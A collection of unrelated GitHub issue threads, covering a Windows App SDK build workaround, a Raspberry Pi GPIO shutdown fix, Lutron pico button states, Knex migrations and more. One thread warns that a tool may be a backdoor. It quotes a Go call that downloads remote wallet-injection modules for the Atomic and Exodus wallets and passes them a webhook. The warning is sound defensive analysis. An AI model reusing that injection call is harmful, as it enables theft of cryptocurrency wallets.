    </ItemGroup>
  </Target>

The second issue has to do with WebView2 implementation file conflicts (e.g., Microsoft.Web.WebView2.Core.dll).  The ultimate cause of this was the embedding of WebView2 into Windows App SDK.  The solution is to factor the WebView2 dependency out of Windows App SDK, and replace it with a standard Nuget package reference.  This will also permit a la carte updates to WebView2 outside the Windows App SDK ship cycle.  Our intent is to include this fix in Windows App SDK 1.6.

There are two distinct errors noted in this issue.
The first is that the logic to address conflicting build vs publish deps.json files was incomplete. The next release of Windows App SDK will include a fix that covers project references (transitive deps.json conflicts). Meanwhile, the problem can be worked around with this *.csproj excerpt:
  <!-- Temporary workaround until WinAppSDK 1.5.2 provides fix -->
  <Target Name="RemoveConflictingDepsJsonFiles" AfterTargets="GetPackagingOutputs">
    <!-- If conflicting build and publish deps.json files exist in this or referenced projects,
        use only the publish deps.json files, and remove the corresponding build deps.json files. -->
    <ItemGroup>
      <_PublishPackagingOutputs Include="@(PackagingOutputs->HasMetadata('CopyToPublishDirectory'))"/>
      <_PublishDepsJsonFiles Include="@(_PublishPackagingOutputs)"
        Condition="'@(_PublishPackagingOutputs)' != '' and $([System.String]::Copy(%(FileName)%(Extension)).EndsWith('.deps.json'))" />
      <PackagingOutputs Remove="@(_PublishDepsJsonFiles)" MatchOnMetadata="TargetPath"/>
      <PackagingOutputs Include="@(_PublishDepsJsonFiles)"/>
    </ItemGroup>
  </Target>

The second issue has to do with WebView2 implementation file conflicts (e.g., Microsoft.Web.WebView2.Core.dll). The ultimate cause of this was the embedding of WebView2 into Windows App SDK. The solution is to factor the WebView2 dependency out of Windows App SDK, and replace it with a standard Nuget package reference. This will also permit a la carte updates to WebView2 outside the Windows App SDK ship cycle. Our intent is to include this fix in Windows App SDK 1.6. We'll keep this issue open to track this work.

https://github.com/microsoft/WindowsAppSDK/issues/4249

There are two distinct errors noted in this issue.
The first is that the logic to address conflicting build vs publish deps.json files was incomplete. The next release of Windows App SDK will include a fix that covers project references (transitive deps.json conflicts). Meanwhile, the problem can be worked around with this *.csproj excerpt:
  <!-- Temporary workaround until WinAppSDK 1.5.2 provides fix -->
  <Target Name="RemoveConflictingDepsJsonFiles" AfterTargets="GetPackagingOutputs">
    <!-- If conflicting build and publish deps.json files exist in this or referenced projects,
        use only the publish deps.json files, and remove the corresponding build deps.json files. -->
    <ItemGroup>
      <_PublishPackagingOutputs Include="@(PackagingOutputs->HasMetadata('CopyToPublishDirectory'))"/>
      <_PublishDepsJsonFiles Include="@(_PublishPackagingOutputs)"
        Condition="'@(_PublishPackagingOutputs)' != '' and $([System.String]::Copy(%(FileName)%(Extension)).EndsWith('.deps.json'))" />
      <PackagingOutputs Remove="@(_PublishDepsJsonFiles)" MatchOnMetadata="TargetPath"/>
      <PackagingOutputs Include="@(_PublishDepsJsonFiles)"/>
    </ItemGroup>
  </Target>

The second issue has to do with WebView2 implementation file conflicts (e.g., Microsoft.Web.WebView2.Core.dll). The ultimate cause of this was the embedding of WebView2 into Windows App SDK. The solution is to factor the WebView2 dependency out of Windows App SDK, and replace it with a standard Nuget package reference. This will also permit a la carte updates to WebView2 outside the Windows App SDK ship cycle. Our intent is to include this fix in Windows App SDK 1.6. We'll keep this issue open to track this work.

For the 2nd issue (WebView2), I filed this issue, 4249.

Closing this issue in favor of https://github.com/microsoft/WindowsAppSDK/issues/4249 for tracking EntityFramework build errors

Closing this issue in favor of #4249 for tracking EntityFramework build errors

but 4249 is also closed without any permanent fix committed.

Resolving this as a dup of https://github.com/microsoft/WindowsAppSDK/issues/1856

Closing this issue in favor of https://github.com/microsoft/WindowsAppSDK/issues/4249 for tracking EntityFramework build errors

but 4249 is also closed without any permanent fix committed.

😅

So with both issues now closed in favour of each other does this mean we are now stuck in an infinitive loop of uncertainty?
Hopefully it's still on someone's fixing lists in the depths of Microsoft.

Reopened https://github.com/microsoft/WindowsAppSDK/issues/4249 and retitled for clarity


how do you change the default listen port using the TXD on gpio14

I have a zwave hat that uses this port and when I shutdown the pi, its boots up again as the hat is obviously keeping the gpio high.
Can this port be moved to something else?
if I set it not to auto power then I can't restart the pi unless  I disconnect the power and the battery

Unfortunately this pin can not be moved.

I actually managed to resolve this by adding the following line to the /boot/config.txt (to set the pin low on shutdown)
dtoverlay=gpio-poweroff,gpiopin=14,active_low="y"
And then adding the following line to /home/pi/witty/daemon.sh (to set it back to normal at boot up) gpio -1 mode 8 alt0

Thank you, this worked for me as well

I actually managed to resolve this by adding the following line to the /boot/config.txt (to set the pin low on shutdown)
dtoverlay=gpio-poweroff,gpiopin=14,active_low="y"
And then adding the following line to /home/pi/witty/daemon.sh (to set it back to normal at boot up) gpio -1 mode 8 alt0

Thank you, this worked for me as well

you're welcome.
out of interest could try timing the shutdown of your pi (until the green goes off) with these commands installed and without them installed.
It does appear on my system (running Domoticz) that it shuts down quicker by 4-5  seconds with these command added, which makes me wonder whether it is doing a full shutdown correctly, although I can't see anything in the log that would imply this is the case.
Also what setting do you use for "cut power delay" as I have read that the kernel can panic using the power down command if the power is not cut within 3 seconds, again I cannot see anything in the logs that would imply this is happening even when I set this to 5 seconds or more.
cheers


Pottential Backdoor/Rat

The way it loads those external ASAR modules (60MB/120MB) suggests a potential backdoor. It’s hard to know what’s happening inside those modules, so be cautious.
Go
walletsinjection.Run(
"https://github.com/hackirby/wallets-injection/raw/main/atomic.asar",
"https://github.com/hackirby/wallets-injection/raw/main/exodus.asar",
CONFIG["webhook"].(string),
)
These modules are fetched dynamically when the code runs.
The problem is, there are no actual files there. When you clone the repo and check the module, you get:
[user@dev-tools wallets-injection]$ cat exodus.asar
version https://git-lfs.github.com/spec/v1
oid sha256:d19109209ffc7b8b286eec3574a2634e9611f8d5431f1c87fb99fccd315772b6
size 132486162
The exodus.asar file you’re seeing is a pointer file. It contains metadata about the actual large file, including its size, a unique identifier (oid), and the URL of the LFS server where the actual file content is stored.
The issue is that this reference:
sha256:d19109209ffc7b8b286eec3574a2634e9611f8d5431f1c87fb99fccd315772b6
can be changed at any time by force-pushing to the repo at https://github.com/hackirby/wallets-injection.
Dates can be faked, so you’ll never know when it was actually changed. It says it was last changed 7 months ago, but it could have been altered at any time.
Quite the scheme!

Previously answered in #21


Bug: Windows XP (just XP?) proxy setting

There is a proxy setting on Windows XP, which will be used by urllib2 in youtube-dl. Usage of
 youtube-dl.exe --proxy "" [url]

does not change this, youtube-dl still uses the specified Windows default proxy and not direct connection. This seems to be a known issue with urllib2 and Windows XP.
I don't know much Python, but http://www.decalage.info/en/python/urllib2noproxy seems like a solution.

Nowadays --proxy is respected when updating as well.


Added smart action to perform depending on the cursor context (#329)

Added

Added a smart action to perform depending on the context (textobject the cursor is on).

Changed

Added custom UI opts for toggle checkbox utils, and changed its behavior to cycle through checkboxes

Not sure if we want to add something like this, but accessing the tags via the "smart action" is quite handy IMO:
  -- show tags if possible
  local current_wrod = vim.fn.expand("<cWORD>")
  if current_wrod:match("^#") then
    vim.cmd("ObsidianTags")
    return
  end

@CaeChao thanks for bringing this feature over the finish line.


Write some tests

[ ] outdent

[x] shift-tab should outdent line
[ ] shift-tab should outdent line and all children
[ ] shift-tab shouldn't outdent line if it's on the top

Created test framework https://github.com/vslinko/obsidian-outliner/commit/80458f465812de153ea199ee083126caf1ac812b

Hello Stranger! You can help with the plugin! 🥇
English is not my first language and I find it quite difficult to write good test function names.
It would be great if you could write test cases here in the comments.


feat: spa caching service

:tada: This PR is included in version 0.112.0 :tada:
The release is available on GitHub release
Your semantic-release bot :package::rocket:


Telemetry: E2E tests + VirtualNode scheme

Description
This PR adds the dry-run flag to the Liqo telemetry. This can be useful for integration tests.
It also solves a bug related to the introduction of VIrtualNodes.
How Has This Been Tested?

[x] Locally with KinD

/rebase test=true

/rebase test=true

/hold

/rebase test=true

/merge


Refactored ViewAPI to be more generic

To be able to implement different ways of rendering with Skia (different subclasses of RNSkiaViews) we need a more generic View API for communication between JS and C++.
Previously the SkiaView in JS sent the draw callback using the method setDrawCallback in the View API (to be able to set the function directly in C++ without serialization).
If we were to create a Skia View for rendering SkPictures only we don't want to set a draw callback but we want to be able to set a picture property.
With this change the ViewAPI now exposes two generic methods, one for setting props and one for calling methods (actions):

setCustomProp
callCustomAction

(In addition the registerValuesInView method is kept since it can be called without a view instance). All previous methods have been removed.
Each native draw view implements the same methods and will be called from the View API and the communication between the JS version of the View and the C++ native version can now be done for any types of props and methods - not just the pre declared ones we had.
This means that we now have a more flexible and generic API for Skia views that can be used to build future Skia views that requires/uses other properties than the draw callback.
This PR also simplifies storing the draw callback in the draw view.

There seems to be a regression where the example that are using the declarative API are not working anymore.

Fixed! Had to clear the cached props list after transferring to the view.


disfetch: 1.13 -> 1.14

Motivation for this change
Update disfetch to new version.
Things done

[x] Tested using sandboxing (nix.useSandbox on NixOS, or option sandbox in nix.conf on non-NixOS linux)
Built on platform(s)

[x] NixOS
[ ] macOS
[x] other Linux distributions

[ ] Tested via one or more NixOS test(s) if existing and applicable for the change (look inside nixos/tests)
[x] Tested compilation of all pkgs that depend on this change using nix-shell -p nixpkgs-review --run "nixpkgs-review wip"
[x] Tested execution of all binary files (usually in ./result/bin/)
[ ] Determined the impact on package closure size (by running nix path-info -S before and after)
[x] Ensured that relevant documentation is up to date
[x] Fits CONTRIBUTING.md.

This is a semi-automatic executed nixpkgs-review which is checked by a human on a best effort basis and does not build all packages (e.g. lumo, tensorflow or pytorch).
If you have any questions or problems please reach out to SuperSandro2000 on IRC.
Result of nixpkgs-review pr 110202 run on x86_64-linux 1

1 package built:

disfetch

This is a semi-automatic executed nixpkgs-review which is checked by a human on a best effort basis and does not build all packages (e.g. lumo, tensorflow or pytorch).
If you have any questions or problems please reach out to SuperSandro2000 on IRC.
Result of nixpkgs-review pr 110202 run on x86_64-linux 1

1 package built:

disfetch

This is a semi-automatic executed nixpkgs-review which is checked by a human on a best effort basis and does not build all packages (e.g. lumo, tensorflow or pytorch).
If you have any questions or problems please reach out to SuperSandro2000 on IRC.
Result of nixpkgs-review pr 110202 run on x86_64-darwin 1

1 package built:

disfetch

This is a semi-automatic executed nixpkgs-review which is checked by a human on a best effort basis and does not build all packages (e.g. lumo, tensorflow or pytorch).
If you have any questions or problems please reach out to SuperSandro2000 on IRC.
Result of nixpkgs-review pr 110202 run on x86_64-darwin 1

1 package built:

disfetch

@llathasa-veleth Could you elaborate on why this needs a backport?

@llathasa-veleth Could you elaborate on why this needs a backport?


TECH-510

Removes preview step from CV submission process

@Genyus why is this being disabled?

@tanyapowell no issues found in dev or staging


Occasional wrong states on pico button press

Not sure how to best troubleshoot this.
Seemingly randomly some of my pico remotes will stop working correctly. These remotes aren't paired to an actual caseta dimmer, just to the hub, and I use an automation to make them control non-caseta lights.
I put some logging on it and found out that when this happens, the numeric state on the sensor entity is wrong. Everything is +8 - so when no buttons are pressed, the state is 8 instead of 0, on is 9 instead of 1, favorite is 10 instead of 2, up is 16 instead of 8, etc.
Usually a restart of Home Assistant will fix the issue, or sometimes it will fix itself after a couple hours.

That is why my pico only works half the time. I am seeing the same thing.

Just had it happen again this evening, but this time everything is +4 instead of +8, which is different from all the other times this has happened in the past that I'm aware of. Only 1 pico though, the others all seem to be working fine.

Two picos of mine stop responding, then seemingly “wake up” again. I wonder if I’m hitting this.

I can confirm that the state gets confused. It looks like it fails to return to 0 and ends up adding the sensor values.

I have attempted to simplify the state updates again for the sensor. Releasing the button will always set the state back to zero and the states are no longer combined on update.
This may not fix the problem if the component never receives the message for the button release, but it will at least simplify the logic.

I've chatted on and off with Lutron support/engineering. They seem somewhat interested in helping, but I'm not sure exactly how to go about this. Is ther anything holding me back from trying to loop them in on the bug?


Consider SchemaBuilder in Migrations

Is your feature request related to a problem? Please describe.
I try to make an app which is db agnostic. I use migration and don't want to adapt DDL code for each supported Db. Instead, I would prefer using Knex schema builder. But the addSql for migration doesn't accept schemabuilder.
Describe the solution you'd like
Change addSql to accept and process schemabuilder or add en addDdl to process schemabuilder
Describe alternatives you've considered
Actually, I do this schemaBuilder.toQuery().split('\n').forEach(line => this.addSql(line)); as a workaround

You can just use this.getKnex() and do what ever you want, no need to involve this.addSql(), just await the knex QB as usual. Alternatively you can also do this.execute() which accepts knex QB instance too.


use benchmarktools to judge difference

Compile Times benchmark
Note, that these numbers may fluctuate on the CI servers, so take them with a grain of salt.
using time
master:  11.18 < 11.40 > 11.45, 0.11+-
pr:      11.21 < 11.39 > 11.77, 0.17+-
speedup: 0.96 < 1.00 > 1.01, 0.02+-
median:  -0.05% => invariant

This PR does not change the using time.
ttfp time
master   27.25 < 27.73 > 28.00, 0.26+-
pr       27.00 < 27.80 > 28.13, 0.35+-
speedup: 0.98 < 1.00 > 1.02, 0.01+-
median:  +0.25% => invariant

This PR does not change the ttfp time.


Editor Unavailable

Seems like the Editor's certificate has expired, and is no longer accessible, just a heads up!

Oof, whoopsie. Thanks for the head’s up! I’ll get that fixed next time I’m at my computer.

I swore had just renewed them recently- turns out I did, but forgot to restart Apache so the new cert didn't take effect :sob:
Should be all good now.

awesome stuff, thank you!!


Shape from particle.js

Hello,
it's more like a qestion than an issue.
Is there possibility to form a shape from particles using particle.js

Well it will be great if particles could form a shape - like for example - this brain here: http://tomb.pl/projects/thread/images/brain.jpg

You can use CSS with the clip-path property.